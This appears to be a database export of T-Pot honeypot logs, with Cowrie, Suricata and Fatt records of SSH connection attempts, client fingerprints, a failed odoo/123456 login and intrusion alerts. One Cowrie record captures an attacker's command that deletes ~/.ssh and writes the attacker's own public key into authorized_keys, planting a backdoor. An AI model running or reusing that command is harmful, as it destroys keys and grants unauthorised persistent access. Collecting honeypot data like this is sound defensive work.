31918	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:24.094466+03	2021-09-20 15:00:02.791716+03	{"_id": "PwYJA3wBvYTbRNuEKkfv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "788fab6685a6", "@version": "1", "timestamp": "2021-09-20T11:48:24.094466Z", "@timestamp": "2021-09-20T11:48:24.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31919	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 14:48:24.2699+03	2021-09-20 15:00:02.792716+03	{"_id": "QQYJA3wBvYTbRNuELEd-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:23.498034+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 480}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 250149448685938, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:48:24.269900Z", "@timestamp": "2021-09-20T11:48:24.269Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
31920	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:48:25.416574+03	2021-09-20 15:00:02.794717+03	{"_id": "SAYJA3wBvYTbRNuELkfY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:58722 (192.168.176.2:22) [session: 8d07e70f0b07]", "session": "8d07e70f0b07", "@version": "1", "protocol": "ssh", "src_port": 58722, "dest_port": 22, "timestamp": "2021-09-20T11:48:25.416574Z", "@timestamp": "2021-09-20T11:48:25.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
31921	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:48:25.629717+03	2021-09-20 15:00:02.796717+03	{"_id": "SQYJA3wBvYTbRNuELkfY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "8d07e70f0b07", "@version": "1", "timestamp": "2021-09-20T11:48:25.629717Z", "@timestamp": "2021-09-20T11:48:25.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
31922	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:48:25.596664+03	2021-09-20 15:00:02.797716+03	{"_id": "SgYJA3wBvYTbRNuEMEdn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 2029341798670149, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58722, "dest_port": 22, "timestamp": "2021-09-20T11:48:25.596664Z", "@timestamp": "2021-09-20T11:48:25.596Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
31923	157.245.53.4	109.199.241.180	Fatt	2021-09-20 14:48:25.629072+03	2021-09-20 15:00:02.799716+03	{"_id": "TQYJA3wBvYTbRNuEMUdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 58722, "dest_port": 22, "timestamp": "2021-09-20T11:48:25.629072", "@timestamp": "2021-09-20T11:48:25.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31924	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:48:26.450677+03	2021-09-20 15:00:02.800717+03	{"_id": "TwYJA3wBvYTbRNuEMkfA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [odoo/123456] failed", "session": "8d07e70f0b07", "@version": "1", "password": "123456", "username": "odoo", "timestamp": "2021-09-20T11:48:26.450677Z", "@timestamp": "2021-09-20T11:48:26.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
31925	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:48:23.082837+03	2021-09-20 15:00:02.801717+03	{"_id": "NQYJA3wBvYTbRNuEJEet", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:48:21.457015+0000", "pkts_toclient": 12, "pkts_toserver": 13, "bytes_toclient": 2263, "bytes_toserver": 2248}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1761063108737335, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52738, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:48:23.082837Z", "@timestamp": "2021-09-20T11:48:23.082Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
31926	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:48:22.464046+03	2021-09-20 15:00:02.803717+03	{"_id": "NgYJA3wBvYTbRNuEJEet", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:22.464046+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 230}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557401568430, "payload": "AAAACAMAAAD/AgAAAAAAAAAAAAAAAAACAwAAAP8FAAAAAAAAAAAAAAAAAAIDAAAA/wIAAAAAAAAAAAAAAAAAAgMAAAD/BQAAAAAAAAAAAAAAAAACAwAAAP8CAAAAAAAAAAAAAf/OYmcDAAAA/wIAAAAAAAAAAAAB/wAAAAQAAAD/BQAAAAAAAAAAAAAAAAACBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:48:22.464046Z", "@timestamp": "2021-09-20T11:48:22.464Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......................................................................................................bg...................................................."}}	1	\N	\N	alert	\N	\N
31927	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:48:23.084687+03	2021-09-20 15:00:02.804716+03	{"_id": "OQYJA3wBvYTbRNuEJ0cG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "2aca991029e3", "@version": "1", "duration": 1.5698890686035156, "timestamp": "2021-09-20T11:48:23.084687Z", "@timestamp": "2021-09-20T11:48:23.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31928	fe80:0000:0000:0000:7e01:82f4:3ece:6267	109.199.241.180	Suricata	2021-09-20 14:48:23.498034+03	2021-09-20 15:00:02.805717+03	{"_id": "OwYJA3wBvYTbRNuEKEeV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:23.498034+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 150}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:7e01:82f4:3ece:6267", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 250149448685938, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/AAAABAAAAP8CAAAAAAAAAAAAAf/OYmcEAAAA/wUAAAAAAAAAAAAAAAAAAgQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:48:23.498034Z", "@timestamp": "2021-09-20T11:48:23.498Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........................................bg................................"}}	1	\N	\N	alert	\N	\N
31929	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:48:25.419558+03	2021-09-20 15:00:02.807717+03	{"_id": "RwYJA3wBvYTbRNuELkfX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "8d07e70f0b07", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T11:48:25.419558Z", "@timestamp": "2021-09-20T11:48:25.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
31930	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:48:25.629072+03	2021-09-20 15:00:02.808716+03	{"_id": "SwYJA3wBvYTbRNuEMEdn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:48:25.237381+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2029341798670149, "payload": "AAADVAUU/zCUqWUyijiQIpFkLEaAsAAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAAmwQKDCA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58722, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:48:25.629072Z", "@timestamp": "2021-09-20T11:48:25.629Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T...0..e2.8.\\".d,F......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............&...."}}	1	\N	\N	alert	\N	\N
31931	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:25.420395+03	2021-09-20 15:00:02.809716+03	{"_id": "TAYJA3wBvYTbRNuEMUdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58722, "timestamp": "2021-09-20T11:48:25.420395", "@timestamp": "2021-09-20T11:48:25.420Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31932	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:48:27.713284+03	2021-09-20 15:00:02.810717+03	{"_id": "VQYJA3wBvYTbRNuENkeq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48484 (192.168.176.2:22) [session: 9832363caa9f]", "session": "9832363caa9f", "@version": "1", "protocol": "ssh", "src_port": 48484, "dest_port": 22, "timestamp": "2021-09-20T11:48:27.713284Z", "@timestamp": "2021-09-20T11:48:27.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
